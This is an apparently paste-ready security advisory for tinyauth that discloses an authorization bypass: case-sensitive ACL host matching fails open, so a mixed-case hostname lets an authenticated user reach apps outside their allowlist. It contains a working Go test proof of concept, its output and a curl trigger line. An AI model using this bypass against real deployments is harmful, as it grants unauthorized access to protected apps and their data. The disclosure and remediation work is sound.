tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for

GitHub Advisory Details (form fields — paste-ready)

Affected products

Field	Value
Ecosystem	Other (self-hosted) / Go
Package name	github.com/steveiliop56/tinyauth (forward-auth middleware)
Affected versions	< 5.1.2
Patched versions	5.1.2

Advisory details

Field	Value
Title	tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open

• Status: Runtime-confirmed (local lab, 127.0.0.1 only)
• Target: steveiliop56/tinyauth v5.0.7 (commit 479f1657812b7bf01438607464dedaa148155301); root cause also present on main HEAD
• Component: internal/service/access_controls_service.go (lookupStaticACLs / GetAccessControls), internal/service/docker_service.go (GetLabels), internal/controller/proxy_controller.go (proxyHandler)
• Class: Broken access control / authorization bypass across the per-app trust boundary

Summary

tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.

The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.

On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.

Affected code (v5.0.7, commit 479f1657…)

The ACL lookup uses case-sensitive equality — internal/service/access_controls_service.go:

func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
	for app, config := range acls.static {
		if config.Config.Domain == domain {              // case-sensitive ==
			return config, nil
		}
		if strings.SplitN(domain, ".", 2)[0] == app {    // case-sensitive ==
			return config, nil
		}
	}
	return config.App{}, errors.New("no results")
}

func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
	app, err := acls.lookupStaticACLs(domain)
	if err == nil {
		return app, nil
	}
	// Fallback to Docker labels
	return acls.docker.GetLabels(domain)
}

The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open) — internal/service/docker_service.go:

func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
	if !docker.isConnected {
		return config.App{}, nil            // <-- empty App, no error
	}
	...
	for _, ctr := range containers {
		...
		for appName, appLabels := range labels.Apps {
			if appLabels.Config.Domain == appDomain { ... }        // case-sensitive
			if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
		}
	}
	return config.App{}, nil                // <-- no match -> empty App, no error
}

The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — internal/controller/proxy_controller.go and internal/service/auth_service.go:

// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
	userAllowed := controller.auth.IsUserAllowed(c, userContext, acls)   // empty acls -> true
	...
	c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
	c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}

// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
	if context.OAuth {
		return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
	}
	if acls.Users.Block != "" { ... }                                  // "" -> skipped
	return utils.CheckFilter(acls.Users.Allow, context.Username)       // CheckFilter("", …) == true
}

utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":

func CheckFilter(filter string, str string) bool {
	if len(strings.TrimSpace(filter)) == 0 {
		return true          // empty allowlist -> allow all
	}
	...
}

The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host — none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.

Attacker model / precondition

The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.

Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).

What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.

Impact

Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob — a cross-app authorization bypass.

Reproduce against the exact vulnerable tag:

git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v

internal/controller/zzz_poc_test.go:

package controller_test

import (
	"net/http/httptest"
	"path"
	"testing"

	"github.com/gin-gonic/gin"
	"github.com/steveiliop56/tinyauth/internal/bootstrap"
	"github.com/steveiliop56/tinyauth/internal/config"
	"github.com/steveiliop56/tinyauth/internal/controller"
	"github.com/steveiliop56/tinyauth/internal/repository"
	"github.com/steveiliop56/tinyauth/internal/service"
	"github.com/steveiliop56/tinyauth/internal/utils/tlog"
	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
	tlog.NewTestLogger().Init()
	tempDir := t.TempDir()

	// Force the docker label provider offline so an ACL miss deterministically
	// yields the empty App() default (this is exactly what happens on any
	// deployment whose ACLs live in the static `apps:` config, or whose docker
	// socket holds no container matching the mixed-case host).
	t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")

	authServiceCfg := service.AuthServiceConfig{
		Users: []config.User{
			{
				Username: "admin",
				Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
			},
			{
				Username: "bob",
				Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
			},
		},
		SessionExpiry:     10,
		CookieDomain:      "example.com",
		LoginTimeout:      10,
		LoginMaxRetries:   3,
		SessionCookieName: "tinyauth-session",
	}

	controllerCfg := controller.ProxyControllerConfig{
		AppURL: "https://tinyauth.example.com",
	}

	// The admin restricts the "immich" app to user "admin" only.
	acls := map[string]config.App{
		"immich": {
			Config: config.AppConfig{
				Domain: "immich.example.com",
			},
			Users: config.AppUsers{
				Allow: "admin",
			},
		},
	}

	// bob is a legitimately-authenticated low-privileged user. He is NOT in
	// immich's users.allow list.
	bobCtx := func(c *gin.Context) {
		c.Set("context", &config.UserContext{
			Username:   "bob",
			Name:       "Bob",
			Email:      "[email protected]",
			IsLoggedIn: true,
			Provider:   "local",
		})
		c.Next()
	}

	// Shared services (mirrors the project's own proxy_controller_test.go).
	app := bootstrap.NewBootstrapApp(config.Config{})
	db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
	require.NoError(t, err)
	defer func() { _ = db.Close() }()

	queries := repository.New(db)

	docker := service.NewDockerService()
	require.NoError(t, docker.Init())

	ldap := service.NewLdapService(service.LdapServiceConfig{})
	require.NoError(t, ldap.Init())

	broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
	require.NoError(t, broker.Init())

	authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
	require.NoError(t, authService.Init())

	aclsService := service.NewAccessControlsService(docker, acls)

	newRouter := func() *gin.Engine {
		gin.SetMode(gin.TestMode)
		router := gin.New()
		router.Use(bobCtx)
		group := router.Group("/api")
		pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
		pc.SetupRoutes()
		return router
	}

	forwardAuth := func(host string) *httptest.ResponseRecorder {
		rec := httptest.NewRecorder()
		req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
		req.Header.Set("x-forwarded-host", host)
		req.Header.Set("x-forwarded-proto", "https")
		req.Header.Set("x-forwarded-uri", "/")
		newRouter().ServeHTTP(rec, req)
		return rec
	}

	// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
	lower := forwardAuth("immich.example.com")
	t.Logf("[control]  x-forwarded-host=immich.example.com  -> %d  remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
	assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")

	// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
	//    empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
	upper := forwardAuth("IMMICH.example.com")
	t.Logf("[BYPASS]   x-forwarded-host=IMMICH.example.com  -> %d  remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))

	require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
	require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}

Observed output (v5.0.7; trimmed to the two decisive log lines):

=== RUN   TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain  name=immich
... proxy_controller.go: User not allowed to access resource  resource=immich user=bob
    zzz_poc_test.go: [control]  x-forwarded-host=immich.example.com  -> 403  remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
    zzz_poc_test.go: [BYPASS]   x-forwarded-host=IMMICH.example.com  -> 200  remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok  	github.com/steveiliop56/tinyauth/internal/controller	0.067s

The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.

Remediation

• Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in getForwardAuthContext / getAuthRequestContext / getExtAuthzContext, and store both the ACL apps keys and each config.domain / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with strings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place.
• Fail closed on an ACL miss. GetAccessControls / GetLabels should distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all App; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning config.App{}, nil. Returning an all-empty App as the fallback is the fail-open that turns the lookup miss into an authorization bypass.
• Add a regression test asserting that a user excluded by users.allow is still 403 when the same host is supplied in mixed case, with a trailing dot, and with an added port.

Please credit 5ud0 / Tarmo Technologies.